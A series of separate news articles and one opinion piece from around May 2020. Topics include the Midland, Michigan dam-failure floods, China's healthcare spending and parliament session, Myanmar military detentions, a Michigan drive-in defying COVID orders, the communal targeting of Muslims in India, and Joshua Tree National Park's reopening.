 The Tittabawassee River continues to recede and was at 26.92 feet at 7:15 a.m. Friday. Flood stage is 24 feet. The river is forecast to fall below flood stage at 2 a.m. Saturday.

 See the Sanford Dam through aerial photos taken Friday.

 Two brothers. 120 years. One steam shovel. A dream fulfilled.

 Post-flood images from Wixom Lake area, May 22.

 Church plans Saturday giveaway for Midland area flood victims.

 Midland Fairgrounds is offering its campground space for those displaced by recent flooding for free.

 Aerial photos of Midland flooding 2 p.m. Wednesday.

 Red Cross shelters remain open.

 Michigan National Guard aids residents impacted by Midland flooding

Roads

A number of street closures remain in effect throughout Midland County and the City of Midland. Visit www.midland911.org and www.cityofmidlandmi.gov for a full list of street closures. Officials are asking people to continue to obey all road closure signs and to stay clear of standing water, flooded areas and debris left in the roadway.

Shelters

City of Midland Community Affairs Director Selina Tisdale cautioned Wednesday that Midland residents who have evacuated their homes amid the flooding need to be patient before trying to get back home. Residents who do not have a safe place to stay should come to one of the following shelters:

 West Midland Family Center - 4011 W. Isabella Road

 Midland High School - 1301 Eastlawn Drive

 North Midland Family Center - 2601 E. Shearer Road (pet friendly)

Water safety

Midland County residents whose residence have groundwater wells that have been submerged by flood waters are advised not to consume their drinking water until it has been disinfected and tested. Visit http://co.midland.mi.us/health for more information. A boil water advisory has been implemented for residents in Water District 1 in Hope and Edenville townships due to proximity to the Edenville Dam failure.

City of Midland residents and township customers who receive water service from the City of Midland Water Treatment Plant are not impacted and may continue to consume drinking water.

More information

Midland Public Schools Superintendent Michael Sharrow said all classes are canceled for Friday because of the state of emergency, but MPS will resume meal service Friday.

Read about the man whose vision was to harness the power of local rivers and create a recreation area for the community: Dam history: Man's dream from century ago results in disaster today. Read about ongoing issues with the dams: Edenville Dam had long history of neglect.

Timeline

The flooding started after days of rain entered local waterways that feed into the local network of lakes and the river. The Edenville Dam forms Wixom Lake, and when it breached, it sent water flowing into Sanford Lake, which is formed by the Sanford Dam. The Sanford Dam became overrun with water, flooding the Tittabawassee River as it makes its way to Sanford, Midland, Freeland and downstream to join the Saginaw River on its way to Saginaw Bay.

The Tittabawassee River in Midland reached an historic high of 35.05 feet on Wednesday, topping the 33.89-foot flood of 1986 and 32.15-foot flood of 2017. Both of those floods left a path of devastation, from properties destroyed by the river to sewer backups in Midland homes. See more of the timeline: Timeline: Midland floods after dams fail.

Resources

Official information will be shared via the following channels:

 www.midland911.org

 www.cityofmidlandmi.gov

 Facebook channels for the following entities: Midland County Emergency Management (MI), Midland County 911 and City of Midland, Michigan  Municipal Government.

 Twitter: @CityofMidlandMI

 Twitter: @MidlandCountyMI

 Call 2-1-1

 Emergency text and email alerts through Nixle.com.

Past coverage

 Thursday: Midland County communities assess flood damage after dam failures

 Wednesday: Midland floods after dams fail, record water level recorded

 Tuesday: Sanford Dam failure imminent; Midland residents evacuating

 Tuesday: Edenville Dam structure breaks; evacuate immediately

For more flood coverage, visit www.ourmidland.com/flood.
Whether it's a creaky old house or a brand new, state of the art office block, the buildings we live and work in have a big impact on the environment.

The challenge to reduce this footprint is sizable. According to a recent report from the Global Alliance for Buildings and Construction, International Energy Agency and the UN Environment Programme, building construction and operations were, globally, responsible for 36% of final energy use in 2018.

Published in December 2019, the Global Status Report for Buildings and Construction also stated that, worldwide, the sector accounted for 39% of energy-related carbon dioxide emissions in 2018.

It's within this context that architects, designers and lawmakers are undertaking efforts to try to boost the sustainability of the built environment.

These efforts to "green" buildings can take many forms, from using sustainable construction materials to deploying energy efficient technologies such as automatic lighting and LED bulbs.

And while new buildings can be designed with sustainability and efficiency in mind, the reality is that a lot of the planet's building stock is old.

The U.K., for example, is home to many in-use buildings that are over 100 years old. While these structures can be aesthetically striking, they can often be troubled by a raft of issues, from poor insulation and sub-standard ventilation to high maintenance costs.

Take the U.K.'s Houses of Parliament, in central London: One section of the estate, Westminster Hall, dates back to 1099. Plans are being developed to restore this sprawling, aged, complex, with lawmakers set to temporarily move out when works eventually begin.

Such a situation begs the question: Is it better to knock things down and start from scratch or take a more rounded view and retrofit and renovate older buildings so that they're cheaper to maintain and better for the environment?

"Definitely, retrofit is the way forward," Cristina Gamboa, CEO of the World Green Building Council, told CNBC's "Sustainable Energy."

"There has to be a sensibility and a consciousness of the limited resources we have in the world," she added.

To date, 28 major cities  including London, Tokyo, Sydney, New York and Johannesburg  have signed up to the World Green Building Council's Net Zero Carbon Buildings Commitment.

Gamboa hailed the "leadership" of these cities, stating that they were "enacting net zero carbon buildings policies but also putting out incentives for industry to transform faster."



While retrofitting and ambitious pledges may be a useful way of boosting the performance of buildings, will we ever be able to build large-scale developments without energy intensive materials such as cement?

"So, I think the answer is no," Gamboa said. "We cannot build without it, right. There has to be solutions that  address climate, people and different geographies around the world."
Myanmar soldiers walk away from a helicopter that took them to Maungdaw in western Myanmar's Rakhine state to track down attackers who staged deadly raids on border posts, Oct. 10, 2016.

Eight people among 19 who went missing last week after being detained by Myanmars military in restive Rakhine state were released from a regional military camp, the former prisoners and their family members told RFA Thursday.

Four of the prisoners, released Thursday morning, were detained in Alekyun village in An townships Dalet Chaung tract. They were part of a 14-member search party looking for a missing fisherman from the village.

The other four, released Wednesday night, were among five ethnic Chin residents from West Dalet village detained Monday while trying to buy cashew nuts. Among the four released was local school teacher Aung Tun Khin.

According to the released Alekyun villagers, soldiers of the Tatmadaw detained them because they were trespassing in a military offensive area. They told RFA that while detained, they were questioned about activities of rebel Arakan Army in the area.

Although eight of the 19 missing villagers have been released, the whereabouts of the other 11 remains unclear.

Reported by RFA Myanmar Service. Translated by Kyaw Min Htun. Written in English by Eugene Whong.
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As China emerges from the coronavirus crisis, important steps must be taken both within the healthcare sector and by the authorities more generally to strengthen systems for prevention and cure.

Some of those will review the specifics of on-the-spot decisions taken in and around Wuhan to determine what else could or should have been done there. But in parallel, we can also expect an ongoing and comprehensive reappraisal of measures needed to improve overall standards of healthcare across the country, with a renewed commitment to investment, training, and extensive use of the latest technology.

The lessons learned from Covid-19 will make public health one of Beijings top concerns and priorities going forward, says John Woods, chief investment officer, Asia Pacific, for leading international bank Credit Suisse. It will be a key theme in the coming years. China has the capacity to substantially increase investment, and I think they will focus their spending on therapeutics and medical advances especially for conditions like arthritis, heart disease and Alzheimers, which are all growing concerns with an ageing population.

Woods notes that the recent crisis has shown that, in terms of the adequacy of healthcare infrastructure and expertise, there is still a meaningful gap between China and developed economies. Prior to the outbreak, Wuhan was considered one of the better equipped Chinese cities, with 7.5 hospital beds per 1,000 people against 6 beds per thousand in other parts of China. But the city was still overwhelmed by the virus.

The coordinated response, which saw healthcare professionals supported by clear policy directives, big data and surveillance, did prove effective. However, things could clearly have been much worse in a city without Wuhans capabilities, and that knowledge has been a spur to planning and action on a wider scale.

According to Woods, there are five major takeaways which highlight where improvements must be made. First is the basic need to increase the provision of public medicine with significant extra investment. Also essential is the expansion of facilities for intensive care, with statistics showing that China currently has 3.8 ICU beds per 100,000 people while the average in G7 countries is 16.6.

Important too is the need to raise domestic production of high-end medical equipment  everything from lab equipment and advanced testing devices to ventilators - thereby reducing dependence on short-notice imports. Another requirement is to increase the number of doctors and other health professionals through enhanced training. In China there are presently 2 doctors per 1,000 people, while the G7 average at 3.7 is approaching twice as many, so by this measure alone there is clearly some way to go.

And, with the help of breakthroughs in technology, there is now tremendous scope to make medical services more broadly available online for early diagnosis, routine consultations, and follow-ups.

These are all areas China will be focusing on for improvement, Woods says.



Story continues

While wary of making an apples and pears comparison, he notes that Chinas total national health expenditure as a proportion of GDP was 6.6 per cent in 2018. In Germany and Japan, both rich countries with rapidly ageing populations, it was 11 per cent, almost double,

My point is that China has the capacity to substantially increase investment, he says. More broadly, there is a confluence of investment between healthcare, infrastructure, urbanisation and technology that I think will manifest in China in the next few years. I would also highlight that rising longevity will create a developing market for health and life insurance and potentially for some improvement in retirement provision.

With this mind, Credit Suisse has identified a number of investable themes or supertrends linked to Chinas healthcare sector and the so-called silver economy. These recognise current initiatives plus the spending power and priorities of the over-60s, giving clients a choice of actively managed options with exposure to specific areas.

Essentially, we are seeing a move in the population pyramid, Woods says. In a recent survey, we found that almost 40 per cent of those born in China in the 1960s plan to increase their spending on healthcare. This will feed the demand for improved, higher-end services and insurance, as well as for both public and private investment in related AI, big data and robotics.

Indeed, in some aspects of health tech, China now seems to be leading the way. AI applications are proving a potential game changer in helping to address the shortage of doctors, misdiagnosis rates, and the early detection of chronic diseases and cancers. Hospitals have been quick to adopt a range of AI-assisted products. And traditional healthcare companies, IT heavyweights and start-ups have been investing in groundbreaking ideas and opportunities.

We should look at health tech as an area gaining momentum post-Covid, Woods says. There seems to be a united and unified commitment to offer support. It is still in a test and rollout phase, but the results are encouraging and, in the next five to 10 years, we could see AI applications in healthcare quickly and ubiquitously distributed across the country.

This article Investors turn to healthcare needs first appeared on South China Morning Post

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China kicked off its delayed annual parliament session on Friday with the government avoiding to set any specific target for this year's GDP, citing uncertainties arising out of the COVID-19 pandemic, slowdown of the Chinese and global economies and the decline in international trade.

The National People's Congress (NPC) session with about 2,900 members began this morning at the Great Hall of People amid unprecedented security in the backdrop of the coronavirus pandemic which has killed 4,634 people in China, majority of them in Wuhan where the deadly virus emerged in December last year.

As of Thursday, the overall confirmed COVID-19 cases in China had reached 82,971, including 82 patients who were still being treated in hospitals, according to China's National Health Commission (NHC).

"I would like to point out that we have not set a specific target for economic growth this year," Chinese Premier Li Keqiang said in his 23-page work report submitted to the NPC, China's legislature.

China has opened up almost all parts of the country after the virus outbreak and is currently holding the annual parliament session. It was due to be held in March but was postponed due of the coronavirus crisis.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Chinese President Xi Jinping, Premier Li along with top leaders of the ruling Communist Party of China (CPC) attended the meeting without wearing masks, while 2,897 members who were present wore the masks.

The attendees paid a silent tribute to people who died fighting the COVID-19 and those who lost their lives in the pandemic.

All those who attended the meeting needed to go through COVID-19 tests before getting permission to attend it. Fewer media people, who were allowed to attend the meeting, needed to undergo tests. They waited for six hours for results and were permitted if they tested negative.

The meeting is taking place amid concerns over the slowdown of China's economy which contracted to 6.8 per cent in the first quarter, the first time since 1976, due to the coronavirus lockdowns and its impact on business in the world's second-largest economy.

"I would like to point out that we have not set a specific target for economic growth this year. This is because our country will face some factors that are difficult to predict in its development due to the great uncertainty regarding the COVID-19 pandemic and the world economic and trade environment," Li said.

In his work report Li said the GDP in 2019 reached 99.1 trillion yuan, representing a 6.1 per cent increase over the previous year.

Around 13.52 million new urban jobs were created, and the surveyed unemployment rate was below 5.3 per cent, he said.

The session of the NPC, regarded as the rubber stamp parliament for its routine approval of the CPC proposals, would meet for a week during which it is expected to approve a host of new laws.
The U.S. consulate and embassy in Ecuador recently issued an advisory, saying, "U.S. citizens wishing to depart Ecuador should do so as soon as possible. If you choose not to depart at this time, you should be prepared to remain in Ecuador for an extended period."

The advisory lists a handful of specific potential flights out of the country, with a caution to be aware of the curfew in effect from 2:00 pm until 5:00 A.M.!

It could be worse: you could be an American stuck in Venezuela. A Venezuelan friend of mine said all flights out of Venezuela have been shut down for weeks. The main airport in Caracas, the Simon Bolivar International Airport (commonly referred to as Maiquetia), is completely closed. Gasoline for civilians is in extremely short supply, not to mention longstanding shortages of food and medicine.

Nearby Colombia is much more stable, but even so, a couple of weeks ago, the principal Colombian airline, Avianca Air, filed for bankruptcy. Avianca is one of the oldest airlines in the world with a significant presence in Miami, and it has served as an important link among countries all over South America.

The situation in Ecuador makes one wonder about the seriousness of the fallout from COVID-19 in other countries that we may not be hearing about. Question for our vaunted media outlets: Wherefore art thou?
Source: Xinhua| 2020-05-22 22:37:48|Editor: huaxia

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BEIJING, May 22 (Xinhua) -- As the largest trading partner to each other, China and the Association of Southeast Asian Nations (ASEAN) have joined forces to deepen business cooperation while curbing the spread of COVID-19, experts said Wednesday.

Closer collaboration is an effective way to combat the epidemic and the downward pressure on the economy, said Xu Ningning, executive president of the China-ASEAN Business Council, at a video teleconference on China-ASEAN cooperation in fighting COVID-19.

Since the relationship was established in 1991, cooperation between China and ASEAN countries has led to rising demand for commodities and the expansion of mutual investment between enterprises of the two sides, Xu said.

In the first four months of this year, trade between China and ASEAN went up 5.7 percent year on year to 1.35 trillion yuan (about 190.3 billion U.S. dollars), accounting for 14.9 percent of China's total foreign trade volume, data from the General Administration of Customs showed.

In breakdown, China's exports to ASEAN increased by 3.9 percent year on year while imports from ASEAN grew 8 percent.

Thirty percent of the trade between China and ASEAN are semi-finished products and parts, indicating a close industrial cooperation and the existence of a supply chain between the two sides, said Shen Minghui, a researcher with the Chinese Academy of Social Sciences.

"Despite the impact of COVID-19, trade and investment between China and ASEAN nations both increased, showing the resilience of the economic relations between the two sides," he said.

The import and export of integrated circuits between China and ASEAN increased substantially, driving the overall growth of bilateral trade by 3.3 percentage points in the first quarter of 2020.

Shen stressed the importance of making efforts to ensure safe and smooth customs clearance when emergencies occur.

The Regional Comprehensive Economic Partnership (RCEP), a proposed free trade agreement between the 10 members and their six partners which is expected to be achieved at the end of this year, may also facilitate further bilateral cooperation.

The negotiations mentioned that fresh seafood, fruits, vegetables and other goods should be released within six hours of arrival or departure in terms of customs clearance, as well as effectively facilitating visa processing or approval procedures for business personnel when they enter or leave customs, Shen said.

All parties are currently pushing forward the review of legal texts and other related work in an orderly manner to prepare for the final texts of the RCEP agreement.

While continuing to strengthen the prevention and control of the epidemic, China and ASEAN countries should further resume trade exchanges where conditions allow. They should also open up green channels, repair industrial chains damaged by the epidemic and ensure the supply of industrial chains, Xu said.

In view of the increase in the number of poor people as a result of the epidemic in some ASEAN countries, the two sides should increase cooperation in poverty alleviation, he said.

The year 2020 is the China-ASEAN Year of Digital Economy Cooperation and thus it is the right time to strengthen cooperation in telemedicine services, e-commerce and online transactions between the two sides, he said. Enditem
A Head Constable from Vile Parle Police Station passed away due to Covid-19, informed the Maharashtra Police on Friday.

HC Arun Phadtare from Vile Parle Police Station, Mumbai, lost his life to coronavirus. May his soul rest in peace, informed the Maharashtra Police on Twitter.

The tweet further added: DGP and all ranks of Maharashtra Police offer their condolences to the Phadtare family.

As per the update provided by the Union Health Ministry, Maharashtra has a total of 41,642 Covid-19 cases of which, 11,726 patients have been cured/discharged while 1,454 patients have died due to the deadly virus.

India on Friday recorded its biggest spike in Covid-19 cases with 6,088 new cases and 148 deaths reported in the last 24 hours, taking the count of coronavirus cases in the country to 1,18,447.

As per the Union Ministry of Health and Family Welfare (MoHFW), out of the total cases, 66,330 are active cases and 3,583 have succumbed to the infection. As many as 48,533 patients have been cured/discharged and one migrated to date.
Dont call it summer school, call it COVID Continuation. Thats how the Pasadena Independent School District is labeling its upcoming sessions to help students complete regular term work they didnt complete this spring.

Rebecca Benner, the districts executive director of curriculum and instruction, said, with kids being off of school since early March and having to abruptly shift to online instruction, more are expected to need summer school credit-recovery courses this year to catch up and be promoted to the next grade.

(Being out of school) is a big part of the reason some kids are not completing their assigned learning at home, she said. (Virtual learning) for some is slow going, and some kids that normally excel in school are struggling.

She said, given a little extra time during the summer, she believes most kids will complete their course work and move on.

Credit-recovery classes will be June 8-30. Click here for registrationand course information.

Keeping it virtual

As for how the classes will be conducted, Benner said, despite Gov. Greg Abbott and the Texas Education Agencys recent approval of in-person classes as a summer-school option should school districts want it, Pasadena will remain online. She said the guidelines, which include placing desks 6 feet apart, spacing out groups at least 30 feet apart, cutting class sizes and conducting temperature checks, make on-campus instruction difficult.

The max we can have in each class is 11 kids, she said. That would be complicated; so were keeping it virtual.

However, Benner confirmed some special-education students who require face-to-face interaction will be accommodated.

In addition to credit-recovery summer school courses, the district is offering a gifted-and-talented exploration camp for children in kindergarten through seventh grade and a career exploration camp for children in grades 5-7, as well as optional contests and enrichment activities in which students can compete for prizes. The contests will focus on academics, fine arts and physical fitness skills.

Benner said high school students will have a robust summer curriculum of dual-credit courses and SAT prep in addition to credit recovery.

Were really working to move those kids along, she said.

For more information on Pasadena ISDs summer school offerings at all grade levels, visit https://bit.ly/2WUoLT6.
COLDWATER, MI  A week after the Carpi Drive-In Theater opened despite Gov. Gretchen Whitmers stay-home order, the Branch County Prosecutors Office is in possession of a report from the Michigan State Police.

Well see what happens, co-owner Tom Magocs said on the morning of Friday, May 22. He said the theater will be open for business again this weekend and declined to comment further.

Branch County Prosecuting Attorney Valerie White said on Friday, May 22, that her office received the report and she would review it as soon as possible. White said she may not have time to review it before the theater opens again this weekend.

Its not likely that well have an opportunity to review it before next week, White said late Friday morning. The prosecutors office has had the report since May 21 or earlier, according to the office. White said she did not know exactly when it was received.

The theater is planning to play Back to the Future and other films for its second weekend open this season. The theater usually opens in mid-March but delayed until last weekend due to the COVID-19 pandemic and government orders meant to slow the spread of the virus.

Magocs acknowledged he was opening despite the order that says his business cannot open. He said previously the theater is his familys only source of income.

After waiting about two months and watching the limited season progress without any profit, Magocs decided to open the theater up for the year last weekend, on Friday, May 15, and on Saturday, May 16. People sat and watched moving pictures on large screens as a Michigan State Police trooper arrived on scene to take a complaint that the theater was operating.

The trooper was dispatched Friday, May 15, for a report of an executive order violation, the agency confirmed. The trooper conducted interviews and the report was forwarded to the Branch County Prosecutors Office for review, MSP said.

The theater should be closed, a state health official said on Tuesday, May 19.

The drive-in, like other movie theaters, should remain closed per the (Executive Order)," said Lynn Sutfin, spokeswoman for the Michigan Department of Health and Human Services. Local police agencies handle enforcement of violations, which are still subject to the misdemeanor fines, jail time and licensing penalties for businesses.

White declined to answer questions Friday morning about whether charges would be authorized. She said she would review the MSP file at her earliest opportunity.

Its a little bit different because regardless of whether our office chooses to authorize, or say our office chooses to not authorize, then the Attorney General can step in and handle it, White said.

So its not as simple as yes were going to do something no were not going to do something, because the Capri is on the radar of the Attorney Generals office because theyve been in the statewide and, I think, national news," White added. So, this isnt just a, Oh the prosecutors office says yes or the prosecutors office says no. This is a matter of a state agency, a state department could step in and handle the case.

The prosecutors office did not hear anything from the Attorney Generals Office on the case one way or another on Friday, White said.

Representatives of Attorney General Dana Nessels office did not immediately respond to a request for information from MLive.

Gov. Whitmer issued an order in March, banning a variety of businesses from operating. Other businesses, such as restaurants, can operate, but with additional restrictions, such as closing their dining rooms.

Despite the order, people lined up in vehicles to get into the theater Friday, May 15, for screenings including Jurassic Park and Trolls."

On Friday, May 15, hours before the business opened for the first time, Gov. Gretchen Whitmer answered a question about the Capri Theater and other businesses opening against her order, saying, This is not a suggestion.

Battle Creek resident Ashley Rathbun was among those that ventured out to catch a movie for opening weekend.

Weve been cooped up in the house for the last couple months, Rathbun said on May 15. We heard the drive in was going to be opening and we said thats a nice way to get out and spend some family time.

The drive-in theater instituted rules for opening during the pandemic, asking cars to park with space between them and instructing people not to sit in chairs outside their vehicles, among other changes.

The theaters actions comes as businesses around Michigan and the country are opening despite government orders banning them from doing so. In Michigan, a barber in Owosso and a hair stylists in Holland are among the business owners making headlines simply for opening their businesses.

A state Court of Claims judge ruled Tuesday, May 19, the emergency laws under which Gov. Whitmer issued dozens of executive orders in response to the coronavirus pandemic are likely constitutional.

Starting Tuesday, May 26, auto dealerships and retail businesses across the state will be allowed to operate via appointment only, Gov. Gretchen Whitmer announced Thursday, May 21.

Read more:

Moviegoers pack Michigan drive-in theater, defying Whitmers stay-home order

Sexist attacks cast Michigan Gov. Whitmer as mothering tyrant of coronavirus dystopia

State agency suspends license of Owosso barber who defied coronavirus order closing non-essential businesses

Michigan auto dealerships very excited to reopen showrooms
Help India!

By Mohammad Saif

Since 2014, in the wake of the Modi Government in India, the alarming transformation of Indian politics is looking dangerous towards Indian Muslims. Since his government in power, ceaseless events of atrocities against Muslims are manifested. Identically, Modi 2.0 is not as desperate than earlier towards Muslims. The exploitation of pandemic (COVID-19) through religious profiling of Muslims, is a New Normal in India and people have used this pandemic as an opportunity to demonize Muslims, which were already being targeted through Citizenship Amendment Act in India. This pandemic added momentum in the agenda of Hindu Majoritarian states.

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Travesty of Facts

Rottenly, the virus globally spread across the world; of course, the outbreak is not unprecedented. Washington and London had weeks of explicit warnings regarding the outbreak, and an array of examples to follow, yet pleas from epidemiologists were unheard. Wuhan of China was the centre of origin of this virus. This catastrophic virus is not related to any particular religion or community as well as WHO refrain India to religious profiling of COVID-19 cases. Here in India the virus found its religious colour and was communalized by Hindutva brigade.

Recently, a religious congregation of Muslims at Markaz Nizamuddin Delhi-India known as World Headquarter of Tablighi Jamaat, became a scapegoat of spreading the virus in India. The Islamic congregation event held between 13 to 15 march, an overwhelming majority consisted of foreigners from Indonesia, Malaysia and Bangladesh, and some from African and European continents. Several among them were tested positive. They were admitted at the various hospitals in Delhi. A video of a prayer of these people was uploaded by a Twitter handle blaming these Tablighi as sneezing purposefully to spread novel coronavirus at Markaz Nizamuddin. Later on, it was clarified in a report of Anti-fake news by India Today and clarified that they were in a position of Zikir or Zikir, a methodology of praying.

While before the congregation, already there were around 50 cases of coronavirus in India, but the pious Tablighi people  who have nothing to do with politics and their only mission is to recall their Islamic brothers towards the Almighty God and life of the prophet (S.A.W.) were alleged as the super-spreaders of the new COVID-19 outbreak. So the facts were dismantled by ultra Hindu nationalist organization and their people to chase their Hindutva agenda, which is innate to their anti-Muslim propaganda of placing Muslims as anti-national and showing their recklessness toward the sake of Indian people. This propaganda has created hatred against Muslims along with beating Muslims and refusing to purchase vegetables and other kinds of stuff from Muslims in the aftermath of this event.

Hiding government failure and targeting Muslims

This is partly because the governments lethargic response to handle COVID-19 outbreak is looking worse in India. On the 30th of January, a case of coronavirus came into light in India, just before an hours notice when the World Health Organization declared it as a world health emergency. It was on 22 March when Indian Prime Minister Narendra Modi announced complete lockdown. Modi gave a long lecture by addressing people by showing his shallowness of future policy measures for people of India. Precipitous announcement of Lockdown just before 4 hours left in the midnight, led to an unpleasant situation at shops to purchase groceries and needy food items. It was an emergency-like situation in the country. This was troublesome for a moment because the PM assured that needy items will be available in due time as scheduled by the government. There was an exclusion of stranded Migrant workers and poor people, which consists of an overwhelming majority of the Indian population, migrated and residing in big cities to earn money for their families. A sudden Lockdown puts them into a dilemma about what they will have to do? Albeit, after closing down factories and big trade centres, they had no work to do. The government left them alone without any policy measure, rather than giving them allowances and facilitating them to take their home. We can measure the recklessness of the government by appealing to Modi to take care of poor people of the country as charity. Many stranded migrant workers in big cities had no resources to stay, even no money to eat for a day and they started to walk on foot to their destination. Among them, so many people died on their way home and some of them after reaching home.

The irony is that after a big measure of starvation in India in near future and looming public health disaster a narrative of blaming Muslims is in full swing. The failure of government at policy level left them alone and face harsh criticism, despite any consolidated and committed action to handle the crises Modi started to propagate populist agenda. Instead of taking further measures to ensure the public care in this pandemic, the issue was communalized by Hindutva Brigade, the hate crimes are looming large in the country in much prosperity since the outbreak. Indian Muslims are being targeted by Hindutva mob in the name of spreading coronavirus in the country. Recently several young Muslim men were beaten up by the mob in the name of corona jihad a baseless allegation made over these young Muslims as they are spreading corona by spitting in water and vegetables to sell it.

On 5 April, a 22-year-old man who returned from Tablighi Jam was beaten up in outer Delhis Harewali village. A family was attacked for making a video of Sundays Diya Jalao event in Gurgaons Manohar Colony, and four men fired outside a mosque in Gurgaons Dhankot village in three separate incidents of violence linked to coronavirus rumours over the weekend. Several vegetable vendors were interrogated and beaten after assailants came to know their Muslim name. People also refuse to take vegetables or any other stuff from Muslims in India.

Conclusion

These heart-wrenching events are common even in this outburst of Covid-19, where we need more cooperation. The largest democracy of this world is lacking the plural accommodative feature of its glorious past. The amounting crisis is appearing in Indias plural vision, where a particular community is blamed as a whole for spreading the virus despite having not any proof of this malicious activity done by a particular community.

Mohammad Saif is working as a Research scholar in the Department of Political Science A.M.U., Aligarh.
By PTI

NEW DELHI: The Delhi High Court has granted four weeks parole to a murder convict, who sought the relief to find a suitable match for himself, saying the man has family ties in the society.

Justice Prateek Jalan granted the relief to the convict, serving life term since 2005, subject to his furnishing a personal bond in the sum of Rs 25,000 to the satisfaction of the jail superintendent.

"In view of the fact that the petitioner (convict) has family ties in society, and seeks parole to enable him to maintain those ties, and it does not appear that the petitioner's release would be especially injurious to the health of his family members, the petitioner is granted parole for a period of four weeks from the date of his release," the court said.

The high court directed the jail authorities "to take all necessary public health precautions" at the time of release of the petitioner-convict and at the time of his surrender before the jail authorities after the period of parole expires.

The convict was directed by the high court to inform the Station House Officers of Punjabi Bagh and Civil Lines police stations, within whose jurisdiction his residence was located, about his mobile number which has to be kept switched on at all times.

"Twice a week, on every Monday and Thursday, between 11:00am and 11:30am, the petitioner shall make a video call to the SHO, PS Civil Lines and drop a pin on Google Maps so that his presence and location can be verified by the SHO," the high court added.

With the direction, the high court disposed of the convict's plea seeking parole to enable him to explore the possibility of finding a suitable match for marriage, to maintain social ties and family relations, and to curb inner stress and depression due to incarceration.

He had also claimed that his stress and depression, due to incarceration, has been exacerbated due to the COVID-19 pandemic.

The petitioner had moved the high court after the prison authorities in December 2019 rejected his application for parole.

The high court had on January 14 issued notice to the police and called for his nominal role.

However, due to the COVID-19 outbreak, the court''s functioning was restricted and his plea could not be heard.

Subsequently, he moved two applications -- one seeking early hearing of his plea and another for grant of parole on the additional ground of coronavirus pandemic.

On the last date of hearing, the police had told the court that his application for parole was rejected by the authorities as on an earlier occasion when he was granted the relief in 2011, he committed an offence in respect of which he was convicted on February 22, 2018 for dacoity, robbery, and conspiring to commit these crimes.

On the ground taken by the police regarding violation of an earlier parole, the court said despite his conviction in 2018, he was, thereafter, released on parole twice in 2018 and 2019 which were not misused by him.

The high court also noted in its order that according to his nominal roll he worked as a ''sahayak'' in the jail and his conduct has been satisfactory at least for last one year.

The petitioner was earlier convicted in 2005 in a murder case and sentenced to life imprisonment by a trial court.

His appeal against the 2005 order of the trial court was dismissed by the high court in 2009.
Cory McPherson and son Benjamin roast a marshmallow Wednesday in the Hidden Valley Campground at Joshua Tree National Park. (Christopher Reynolds / Los Angeles Times)

This parks reopening has set off a race to the desert among hundreds of hikers, climbers and adventure-starved families rushing to grab up the parks 520 camping spots before the temperature climbs in coming days.

Rangers say this influx, which began with Sundays low-profile reopening and picked up steam Tuesday and Wednesday, is manageable so far. But it may be the beginning of a hot, busy, complicated Memorial Day weekend.

With a three-day weekend before them, Southern Californians will have to weigh the lure of desert vistas against the chance of crowds and the challenge of rising temperatures, expected to reach the 90s by Tuesday.

Early morning sun lights up the Hidden Valley area of recently reopened Joshua Tree National Park. (Christopher Reynolds/Los Angeles Times)

Rangers will be managing a park whose roads, trails and individual campgrounds are open but whose three visitor centers and group campgrounds are closed.

"The increasing access has gone well so far," said park spokeswoman Hannah Schwalbe, who added that rangers will encourage visitors to be safe and follow guidance from the national Centers for Disease Control and Prevention, the state and the county health department.





I had to get out of the city. Bay area. Its crazy, Zack Bloom said as he arrived, rolling past one already-claimed Hidden Valley campsite after another. Bloom said he set out for the desert Tuesday, slept in his car on the way and arrived Wednesday afternoon.

His goal: Commune with nature.

Many campers said they had canceled more ambitious trips that had been scheduled this month. When word spread that Joshua Tree was opening, it began to look like an 800,000-acre consolation prize.

We were so bored and itching to go somewhere, said Ydris Hicks of Carlsbad, who was keeping a volleyball aloft with his roommate, Courtney McClane. Last night, we learned this was open.

His plan: Sleep under the stars and climb in the morning. In terms of virus risk, he said, this is the same as sitting in your house. But we havent slept outside of our house in a while.

Though the parks coveted Hidden Valley Campground had only a few empty sites Wednesday night, many other camping areas, including Jumbo Rocks, were more than half empty.

Story continues

Campers savored the chance to see the park in spring, without big crowds (so far) after weeks of enforced time at home. Many brought children.

Only a handful of visitors wore face coverings in camp or out and about. San Bernardino County, which includes the park, strongly recommends face coverings in public but is no longer requiring them.

Cory and Becky McPherson came from Long Beach with their sons, Benjamin, 7, and Kai, 15 months, after Becky spotted the reopening announcement on Instagram.

We packed up and came out here the same day, said Cory, whose film production work is on hold. Because Benjamin is home-schooled, McPherson said, they didnt have to worry about virtual school.

As the sun set Wednesday, the McPhersons were roasting marshmallows at a fire ring in the Hidden Valley Campground. A few campsites away, Holly Hirschi and Edgar Carrillo of San Diego were pulling out their marshmallows as well.

Im starting grad school in the fall, so Im not working right now. And Edgar had a sabbatical at work, Hirschi said.

In fact, their original plan was to be on a three-state, six-park camping vacation.

We would actually be in Oregon, at Crater Lake, right now, Carrillo said.

As for the threats posed by a park visit, Hirschi said she didn't see big issues. Theres pretty minimal contact with people, she said.

None of Joshua Tree's public programs is being offered, but campers are required to pay on the spot with cash or a check, $15 to $20 per campsite per night.

Entrance fees (usually $30 per vehicle) will be enforced starting Friday, Schwalbe said.

Most bathrooms are open, but water sources in the park are few. Many campgrounds have no potable water sources, so best to bring your own.

This colorful campsite is in the Hidden Valley area of Joshua Tree National Park, which reopened Monday. (Christopher Reynolds/Los Angeles Times)

Many of the parks campsites are typically snapped up in spring through reservations made at recreation.gov. But in the move to reopen, park officials and concessionaires decided to cancel all reservations and offer all campsites on a first-come, first-serve basis through Sept. 3.

